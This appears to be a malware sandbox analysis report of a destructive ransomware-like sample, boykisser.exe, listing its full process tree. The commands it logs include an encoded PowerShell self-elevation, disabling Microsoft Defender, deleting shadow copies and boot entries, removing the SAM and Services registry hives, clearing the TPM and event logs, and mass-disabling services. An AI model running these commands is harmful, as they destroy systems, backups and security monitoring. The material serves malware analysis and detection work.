PID 3592 wrote to memory of 3648	3592	boykisser.exe	149
PID 3592 wrote to memory of 4080	3592	boykisser.exe	151
PID 3592 wrote to memory of 4724	3592	boykisser.exe	153
PID 3592 wrote to memory of 3492	3592	boykisser.exe	155
PID 3592 wrote to memory of 3152	3592	boykisser.exe	157
PID 3592 wrote to memory of 1976	3592	boykisser.exe	159
PID 3592 wrote to memory of 1208	3592	boykisser.exe	488
PID 3592 wrote to memory of 3720	3592	boykisser.exe	495
PID 3592 wrote to memory of 1444	3592	boykisser.exe	300
PID 3592 wrote to memory of 804	3592	boykisser.exe	515
PID 3592 wrote to memory of 4236	3592	boykisser.exe	169
PID 3592 wrote to memory of 1200	3592	boykisser.exe	171
PID 3592 wrote to memory of 4440	3592	boykisser.exe	517
PID 3592 wrote to memory of 4520	3592	boykisser.exe	544
PID 3592 wrote to memory of 3976	3592	boykisser.exe	176
PID 3592 wrote to memory of 2800	3592	boykisser.exe	396
PID 3592 wrote to memory of 1528	3592	boykisser.exe	393
PID 3592 wrote to memory of 4640	3592	boykisser.exe	252
PID 3592 wrote to memory of 4128	3592	boykisser.exe	335
PID 3592 wrote to memory of 4064	3592	boykisser.exe	537
PID 3592 wrote to memory of 2844	3592	boykisser.exe	186
PID 3592 wrote to memory of 2848	3592	boykisser.exe	502
PID 3592 wrote to memory of 1580	3592	boykisser.exe	417
PID 3592 wrote to memory of 2552	3592	boykisser.exe	190
PID 3592 wrote to memory of 4052	3592	boykisser.exe	191
PID 3592 wrote to memory of 4312	3592	boykisser.exe	282
PID 3592 wrote to memory of 2032	3592	boykisser.exe	201
PID 3592 wrote to memory of 4868	3592	boykisser.exe	521
PID 3592 wrote to memory of 4148	3592	boykisser.exe	513
PID 3592 wrote to memory of 4412	3592	boykisser.exe	205
PID 3592 wrote to memory of 4808	3592	boykisser.exe	287
PID 3592 wrote to memory of 4460	3592	boykisser.exe	207
PID 3592 wrote to memory of 4372	3592	boykisser.exe	439
PID 3592 wrote to memory of 4432	3592	boykisser.exe	214
PID 3592 wrote to memory of 4948	3592	boykisser.exe	217
PID 3592 wrote to memory of 2068	3592	boykisser.exe	219

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\boykisser.exe
"C:\Users\Admin\AppData\Local\Temp\boykisser.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGIAbwB5AGsAaQBzAHMAZQByAC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Users\Admin\AppData\Local\Temp\boykisser.exe
    "C:\Users\Admin\AppData\Local\Temp\boykisser.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Sets desktop wallpaper using registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3592
  - - C:\Windows\system32\reg.exe
      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3528
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2492
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:436
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:4124
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:3428
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:224
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      PID:3260
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      PID:2020
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      PID:3780
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      PID:408
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      PID:3520
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:2704
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      PID:1840
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      PID:4224
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      PID:4916
  - - C:\Windows\system32\cmd.exe
      "cmd" /c reg delete HKLM\BCD00000000 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5000
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\BCD00000000 /f
        5⤵
        Modifies registry key
        
        PID:1376
  - - C:\Windows\system32\reagentc.exe
      "reagentc" /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2872
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2868
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} nx AlwaysOff
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1580
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} pae ForceDisable
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2448
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} bootlog Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4444
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} noserialmice Yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4084
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safeboot Minimal
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1540
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /set {default} safebootalternateshell yes
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2028
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3648
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {bootmgr} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4080
  - - C:\Windows\system32\bcdedit.exe
      "bcdedit" /delete {memdiag} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4724
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\SAM /f
      4⤵
      Modifies registry key
      PID:3492
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SAM\Domains /f
      4⤵
      Modifies registry key
      PID:3152
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SYSTEM\CurrentControlSet\Services /f
      4⤵
      Modifies firewall policy service
      Modifies security service
      Maps connected drives based on registry
      Modifies registry key
      PID:1976
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /f
      4⤵
      PID:1208
  - - C:\Windows\system32\reg.exe
      "reg" add HKLM\SYSTEM\CurrentControlSet\Control /v SystemStartOptions /t REG_SZ /d GARBAGE /f
      4⤵
      Modifies registry key
      PID:3720
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:1444
  - - C:\Windows\system32\reg.exe
      "reg" delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /f
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Indicator Removal: Clear Persistence
      PID:804
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\SECURITY\Policy /f
      4⤵
      Modifies registry key
      PID:4236
  - - C:\Windows\system32\reg.exe
      "reg" delete HKLM\DEFAULT\Software /f
      4⤵
      Modifies registry key
      PID:1200
  - - C:\Windows\system32\fsutil.exe
      "fsutil" dirty set C:
      4⤵
      PID:4440
  - - C:\Windows\system32\tpmtool.exe
      "tpmtool" clear
      4⤵
      PID:4520
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" /namespace:\\root\cimv2\security\microsofttpm path Win32_Tpm call Clear
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3976
  - - C:\Windows\system32\sc.exe
      "sc" stop VSS
      4⤵
      PID:2800
  - - C:\Windows\system32\sc.exe
      "sc" query type= service state= all
      4⤵
      PID:1528
  - - C:\Windows\system32\sc.exe
      "sc" stop AJRouter
      4⤵
      PID:4640
  - - C:\Windows\system32\sc.exe
      "sc" stop ALG
      4⤵
      PID:4128
  - - C:\Windows\system32\sc.exe
      "sc" stop AppIDSvc
      4⤵
      Launches sc.exe
      PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" stop Appinfo
      4⤵
      PID:2844
  - - C:\Windows\system32\sc.exe
      "sc" stop AppMgmt
      4⤵
      PID:2848
  - - C:\Windows\system32\sc.exe
      "sc" stop AppReadiness
      4⤵
      PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" stop AppVClient
      4⤵
      PID:2552
  - - C:\Windows\system32\sc.exe
      "sc" stop AppXSvc
      4⤵
      PID:4052
  - - C:\Windows\system32\sc.exe
      "sc" config VSS start= disabled
      4⤵
      PID:4312
  - - C:\Windows\system32\sc.exe
      "sc" config AJRouter start= disabled
      4⤵
      PID:2032
  - - C:\Windows\system32\sc.exe
      "sc" config AppVClient start= disabled
      4⤵
      PID:4868
  - - C:\Windows\system32\sc.exe
      "sc" config ALG start= disabled
      4⤵
      PID:4148
  - - C:\Windows\system32\sc.exe
      "sc" config AppIDSvc start= disabled
      4⤵
      PID:4412
  - - C:\Windows\system32\sc.exe
      "sc" config AppMgmt start= disabled
      4⤵
      PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" config AppReadiness start= disabled
      4⤵
      PID:4460
  - - C:\Windows\system32\sc.exe
      "sc" config Appinfo start= disabled
      4⤵
      Launches sc.exe
      PID:4372
  - - C:\Windows\system32\sc.exe
      "sc" config AppXSvc start= disabled
      4⤵
      PID:4432
  - - C:\Windows\system32\sc.exe
      "sc" stop AssignedAccessManagerSvc
      4⤵
      PID:4948
  - - C:\Windows\system32\vssadmin.exe
      "vssadmin" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:2068
  - - C:\Windows\system32\sc.exe
      "sc" stop AudioEndpointBuilder
      4⤵
      PID:2984
  - - C:\Windows\system32\sc.exe
      "sc" stop Audiosrv
      4⤵
      PID:912
  - - C:\Windows\system32\sc.exe
      "sc" stop autotimesvc
      4⤵
      PID:2704
  - - C:\Windows\system32\sc.exe
      "sc" stop AxInstSV
      4⤵
      PID:2580
  - - C:\Windows\system32\sc.exe
      "sc" stop BDESVC
      4⤵
      PID:4960
  - - C:\Windows\system32\sc.exe
      "sc" stop BFE
      4⤵
      PID:752
  - - C:\Windows\system32\sc.exe
      "sc" stop BITS
      4⤵
      PID:4480
  - - C:\Windows\system32\sc.exe
      "sc" config AssignedAccessManagerSvc start= disabled
      4⤵
      PID:3480
  - - C:\Windows\system32\sc.exe
      "sc" config BDESVC start= disabled
      4⤵
      PID:1396
  - - C:\Windows\system32\sc.exe
      "sc" config AudioEndpointBuilder start= disabled
      4⤵
      PID:3796
  - - C:\Windows\system32\sc.exe
      "sc" config AxInstSV start= disabled
      4⤵
      PID:748
  - - C:\Windows\system32\sc.exe
      "sc" config autotimesvc start= disabled
      4⤵
      PID:4440
  - - C:\Windows\system32\sc.exe
      "sc" config Audiosrv start= disabled
      4⤵
      PID:684
  - - C:\Windows\system32\sc.exe
      "sc" config BFE start= disabled
      4⤵
      Launches sc.exe
      PID:4048
  - - C:\Windows\system32\sc.exe
      "sc" config BITS start= disabled
      4⤵
      PID:1824
  - - C:\Windows\system32\sc.exe
      "sc" stop BrokerInfrastructure
      4⤵
      PID:224
  - - C:\Windows\system32\sc.exe
      "sc" stop BTAGService
      4⤵
      PID:4640
  - - C:\Windows\system32\sc.exe
      "sc" stop BthAvctpSvc
      4⤵
      PID:364
  - - C:\Windows\system32\sc.exe
      "sc" stop bthserv
      4⤵
      PID:740
  - - C:\Windows\system32\sc.exe
      "sc" stop camsvc
      4⤵
      PID:4168
  - - C:\Windows\system32\sc.exe
      "sc" stop CDPSvc
      4⤵
      PID:2212
  - - C:\Windows\system32\sc.exe
      "sc" stop CertPropSvc
      4⤵
      Launches sc.exe
      PID:3648
  - - C:\Windows\system32\sc.exe
      "sc" stop ClickToRunSvc
      4⤵
      Launches sc.exe
      PID:4860
  - - C:\Windows\system32\sc.exe
      "sc" config BTAGService start= disabled
      4⤵
      PID:3436
  - - C:\Windows\system32\sc.exe
      "sc" config bthserv start= disabled
      4⤵
      PID:4016
  - - C:\Windows\system32\sc.exe
      "sc" config BrokerInfrastructure start= disabled
      4⤵
      PID:4600
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2824
  - - C:\Windows\system32\sc.exe
      "sc" config BthAvctpSvc start= disabled
      4⤵
      PID:3788
  - - C:\Windows\system32\sc.exe
      "sc" config CDPSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2016
  - - C:\Windows\system32\sc.exe
      "sc" config camsvc start= disabled
      4⤵
      PID:4876
  - - C:\Windows\system32\sc.exe
      "sc" config CertPropSvc start= disabled
      4⤵
      PID:3708
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4312
  - - C:\Windows\system32\sc.exe
      "sc" stop ClipSVC
      4⤵
      PID:4180
  - - C:\Windows\system32\sc.exe
      "sc" config ClickToRunSvc start= disabled
      4⤵
      PID:3492
  - - C:\Windows\system32\sc.exe
      "sc" stop COMSysApp
      4⤵
      Launches sc.exe
      PID:4808
  - - C:\Windows\system32\sc.exe
      "sc" stop CoreMessagingRegistrar
      4⤵
      PID:4088
  - - C:\Windows\system32\sc.exe
      "sc" stop CryptSvc
      4⤵
      PID:4532
  - - C:\Windows\system32\sc.exe
      "sc" stop CscService
      4⤵
      PID:1616
  - - C:\Windows\system32\sc.exe
      "sc" stop DcomLaunch
      4⤵
      PID:3848
  - - C:\Windows\system32\sc.exe
      "sc" stop defragsvc
      4⤵
      PID:3420
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceAssociationService
      4⤵
      PID:3316
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1444
  - - C:\Windows\system32\sc.exe
      "sc" config ClipSVC start= disabled
      4⤵
      Launches sc.exe
      PID:1372
  - - C:\Windows\system32\sc.exe
      "sc" config COMSysApp start= disabled
      4⤵
      PID:456
  - - C:\Windows\system32\sc.exe
      "sc" config CoreMessagingRegistrar start= disabled
      4⤵
      Launches sc.exe
      PID:4728
  - - C:\Windows\system32\sc.exe
      "sc" config CscService start= disabled
      4⤵
      PID:2108
  - - C:\Windows\system32\sc.exe
      "sc" config CryptSvc start= disabled
      4⤵
      PID:1628
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3480
  - - C:\Windows\system32\sc.exe
      "sc" config DcomLaunch start= disabled
      4⤵
      PID:4800
  - - C:\Windows\system32\sc.exe
      "sc" config defragsvc start= disabled
      4⤵
      PID:2516
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceAssociationService start= disabled
      4⤵
      PID:4664
  - - C:\Windows\system32\sc.exe
      "sc" stop DeviceInstall
      4⤵
      PID:2424
  - - C:\Windows\system32\sc.exe
      "sc" stop DevQueryBroker
      4⤵
      PID:2524
  - - C:\Windows\system32\sc.exe
      "sc" stop Dhcp
      4⤵
      PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" stop diagnosticshub.standardcollector.service
      4⤵
      Launches sc.exe
      PID:4064
  - - C:\Windows\system32\sc.exe
      "sc" stop diagsvc
      4⤵
      PID:3288
  - - C:\Windows\system32\sc.exe
      "sc" stop DiagTrack
      4⤵
      Launches sc.exe
      PID:4944
  - - C:\Windows\system32\sc.exe
      "sc" stop DialogBlockingService
      4⤵
      PID:4756
  - - C:\Windows\system32\sc.exe
      "sc" stop DispBrokerDesktopSvc
      4⤵
      PID:3428
  - - C:\Windows\system32\sc.exe
      "sc" config DevQueryBroker start= disabled
      4⤵
      PID:2496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4128
  - - C:\Windows\system32\sc.exe
      "sc" config Dhcp start= disabled
      4⤵
      PID:1588
  - - C:\Windows\system32\sc.exe
      "sc" config DeviceInstall start= disabled
      4⤵
      PID:2592
  - - C:\Windows\system32\sc.exe
      "sc" config diagnosticshub.standardcollector.service start= disabled
      4⤵
      PID:512
  - - C:\Windows\system32\sc.exe
      "sc" config diagsvc start= disabled
      4⤵
      PID:4884
  - - C:\Windows\system32\sc.exe
      "sc" config DialogBlockingService start= disabled
      4⤵
      PID:2132
  - - C:\Windows\system32\sc.exe
      "sc" config DiagTrack start= disabled
      4⤵
      PID:4252
  - - C:\Windows\system32\sc.exe
      "sc" stop DisplayEnhancementService
      4⤵
      PID:64
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4860
  - - C:\Windows\system32\sc.exe
      "sc" config DispBrokerDesktopSvc start= disabled
      4⤵
      PID:440
  - - C:\Windows\system32\sc.exe
      "sc" stop DmEnrollmentSvc
      4⤵
      PID:2916
  - - C:\Windows\system32\sc.exe
      "sc" stop dmwappushservice
      4⤵
      PID:4648
  - - C:\Windows\system32\sc.exe
      "sc" stop Dnscache
      4⤵
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" stop DoSvc
      4⤵
      PID:4260
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2016
  - - C:\Windows\system32\sc.exe
      "sc" stop dot3svc
      4⤵
      Launches sc.exe
      PID:2064
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Application
      4⤵
      Clears Windows event logs
      PID:4652
  - - C:\Windows\system32\sc.exe
      "sc" stop DPS
      4⤵
      PID:1820
  - - C:\Windows\system32\sc.exe
      "sc" config DmEnrollmentSvc start= disabled
      4⤵
      PID:4492
  - - C:\Windows\system32\sc.exe
      "sc" stop DsmSvc
      4⤵
      Launches sc.exe
      PID:4568
  - - C:\Windows\system32\sc.exe
      "sc" config DisplayEnhancementService start= disabled
      4⤵
      PID:3780
  - - C:\Windows\system32\sc.exe
      "sc" config dmwappushservice start= disabled
      4⤵
      PID:1728
  - - C:\Windows\system32\sc.exe
      "sc" config Dnscache start= disabled
      4⤵
      PID:4532
  - - C:\Windows\system32\sc.exe
      "sc" config DoSvc start= disabled
      4⤵
      PID:2432
  - - C:\Windows\system32\sc.exe
      "sc" config dot3svc start= disabled
      4⤵
      Launches sc.exe
      PID:1776
  - - C:\Windows\system32\sc.exe
      "sc" config DPS start= disabled
      4⤵
      PID:2612
  - - C:\Windows\system32\sc.exe
      "sc" stop DsSvc
      4⤵
      Launches sc.exe
      PID:1560
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:456
  - - C:\Windows\system32\sc.exe
      "sc" config DsmSvc start= disabled
      4⤵
      PID:2664
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl System
      4⤵
      Clears Windows event logs
      PID:3356
  - - C:\Windows\system32\sc.exe
      "sc" stop DusmSvc
      4⤵
      PID:4604
  - - C:\Windows\system32\sc.exe
      "sc" stop Eaphost
      4⤵
      PID:2224
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdate
      4⤵
      PID:2996
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1528
  - - C:\Windows\system32\sc.exe
      "sc" stop edgeupdatem
      4⤵
      PID:2516
  - - C:\Windows\system32\sc.exe
      "sc" stop EFS
      4⤵
      PID:2800
  - - C:\Windows\system32\sc.exe
      "sc" stop embeddedmode
      4⤵
      PID:2980
  - - C:\Windows\system32\sc.exe
      "sc" stop EntAppSvc
      4⤵
      Launches sc.exe
      PID:3212
  - - C:\Windows\system32\sc.exe
      "sc" config DsSvc start= disabled
      4⤵
      PID:4184
  - - C:\Windows\system32\sc.exe
      "sc" config Eaphost start= disabled
      4⤵
      PID:1240
  - - C:\Windows\system32\wevtutil.exe
      "wevtutil" cl Security
      4⤵
      Clears Windows event logs
      PID:2180
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdatem start= disabled
      4⤵
      PID:4756
  - - C:\Windows\system32\sc.exe
      "sc" config edgeupdate start= disabled
      4⤵
      PID:1932
  - - C:\Windows\system32\sc.exe
      "sc" config DusmSvc start= disabled
      4⤵
      PID:1208
  - - C:\Windows\system32\sc.exe
      "sc" config EntAppSvc start= disabled
      4⤵
      PID:2944
  - - C:\Windows\system32\sc.exe
      "sc" config EFS start= disabled
      4⤵
      PID:1588
  - - C:\Windows\system32\sc.exe
      "sc" config embeddedmode start= disabled
      4⤵
      PID:1580
  - - C:\Windows\system32\sc.exe
      "sc" stop EventLog
      4⤵
      PID:4836
  - - C:\Windows\system32\sc.exe
      "sc" stop EventSystem
      4⤵
      PID:3496
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4168
  - - C:\Windows\system32\sc.exe
      "sc" stop Fax
      4⤵
      PID:4212
  - - C:\Windows\system32\sc.exe
      "sc" stop fdPHost
      4⤵
      PID:2848
  - - C:\Windows\system32\sc.exe
      "sc" stop FDResPub
      4⤵
      PID:4188
  - - C:\Windows\system32\sc.exe
      "sc" config EventSystem start= disabled
      4⤵
      Launches sc.exe
      PID:1136
  - - C:\Windows\system32\sc.exe
      "sc" stop fhsvc
      4⤵
      PID:1488
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache
      4⤵
      PID:4148
  - - C:\Windows\system32\sc.exe
      "sc" stop FontCache3.0.0.0
      4⤵
      PID:1496
  - - C:\Windows\system32\sc.exe
      "sc" config Fax start= disabled
      4⤵
      PID:3748
  - - C:\Windows\system32\sc.exe
      "sc" config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:4372
  - - C:\Windows\system32\sc.exe
      "sc" config fdPHost start= disabled
      4⤵
      PID:3916
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic" computersystem set AutomaticManagedPagefile=False
      4⤵
      PID:3328
  - - C:\Windows\system32\sc.exe
      "sc" config FDResPub start= disabled
      4⤵
      Launches sc.exe
      PID:1220
  - - C:\Windows\system32\sc.exe
      "sc" stop FrameServer
      4⤵
      PID:2440
  - - C:\Windows\system32\sc.exe
      "sc" config fhsvc start= disabled
      4⤵
      PID:2868
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache3.0.0.0 start= disabled
      4⤵
      Launches sc.exe
      PID:3312
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleChromeElevationService
      4⤵
      PID:828
  - - C:\Windows\system32\sc.exe
      "sc" config FontCache start= disabled
      4⤵
      PID:2432
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterInternalService141.0.7340.0
      4⤵
      PID:736
  - - C:\Windows\system32\sc.exe
      "sc" stop GoogleUpdaterService141.0.7340.0
      4⤵
      PID:3300
  - - C:\Windows\system32\sc.exe
      "sc" config FrameServer start= disabled
      4⤵
      Launches sc.exe
      PID:884
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2224
  - - C:\Windows\system32\sc.exe
      "sc" stop gpsvc
      4⤵
      PID:1584
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2516
  - - C:\Windows\system32\sc.exe
      "sc" stop GraphicsPerfSvc
      4⤵
      PID:3356
  - - C:\Windows\system32\sc.exe
      "sc" stop hidserv
      4⤵
      PID:2524
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1824
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleChromeElevationService start= disabled
      4⤵
      PID:1392
  - - C:\Windows\system32\sc.exe
      "sc" stop HvHost
      4⤵
      PID:4268
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterInternalService141.0.7340.0 start= disabled
      4⤵
      PID:3260
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:684
  - - C:\Windows\system32\sc.exe
      "sc" config GoogleUpdaterService141.0.7340.0 start= disabled
      4⤵
      Launches sc.exe
      PID:1752
  - - C:\Windows\system32\sc.exe
      "sc" stop icssvc
      4⤵
      PID:4964
  - - C:\Windows\system32\sc.exe
      "sc" config hidserv start= disabled
      4⤵
      PID:4468
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2212
  - - C:\Windows\system32\sc.exe
      "sc" config gpsvc start= disabled
      4⤵
      PID:5020
  - - C:\Windows\system32\sc.exe
      "sc" stop IKEEXT
      4⤵
      PID:1116
  - - C:\Windows\system32\sc.exe
      "sc" config GraphicsPerfSvc start= disabled
      4⤵
      PID:4288
  - - C:\Windows\system32\sc.exe
      "sc" config HvHost start= disabled
      4⤵
      PID:1208
  - - C:\Windows\system32\sc.exe
      "sc" stop InstallService
      4⤵
      PID:948
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3788
  - - C:\Windows\system32\sc.exe
      "sc" stop iphlpsvc
      4⤵
      PID:4884
  - - C:\Windows\system32\sc.exe
      "sc" config icssvc start= disabled
      4⤵
      PID:3720
  - - C:\Windows\system32\sc.exe
      "sc" stop IpxlatCfgSvc
      4⤵
      PID:3308
  - - C:\Windows\system32\sc.exe
      "sc" stop KeyIso
      4⤵
      PID:4212
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2848
  - - C:\Windows\system32\sc.exe
      "sc" stop KtmRm
      4⤵
      Launches sc.exe
      PID:4216
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanServer
      4⤵
      PID:4100
  - - C:\Windows\system32\sc.exe
      "sc" config IKEEXT start= disabled
      4⤵
      PID:1212
  - - C:\Windows\system32\sc.exe
      "sc" config InstallService start= disabled
      4⤵
      PID:4192
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1136
  - - C:\Windows\system32\sc.exe
      "sc" config iphlpsvc start= disabled
      4⤵
      PID:4300
  - - C:\Windows\system32\sc.exe
      "sc" stop LanmanWorkstation
      4⤵
      PID:4220
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:804
  - - C:\Windows\system32\sc.exe
      "sc" config IpxlatCfgSvc start= disabled
      4⤵
      Launches sc.exe
      PID:4940
  - - C:\Windows\system32\sc.exe
      "sc" config KeyIso start= disabled
      4⤵
      PID:4148
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4440
  - - C:\Windows\system32\sc.exe
      "sc" config KtmRm start= disabled
      4⤵
      PID:3344
  - - C:\Windows\system32\sc.exe
      "sc" stop lfsvc
      4⤵
      PID:3916
  - - C:\Windows\system32\sc.exe
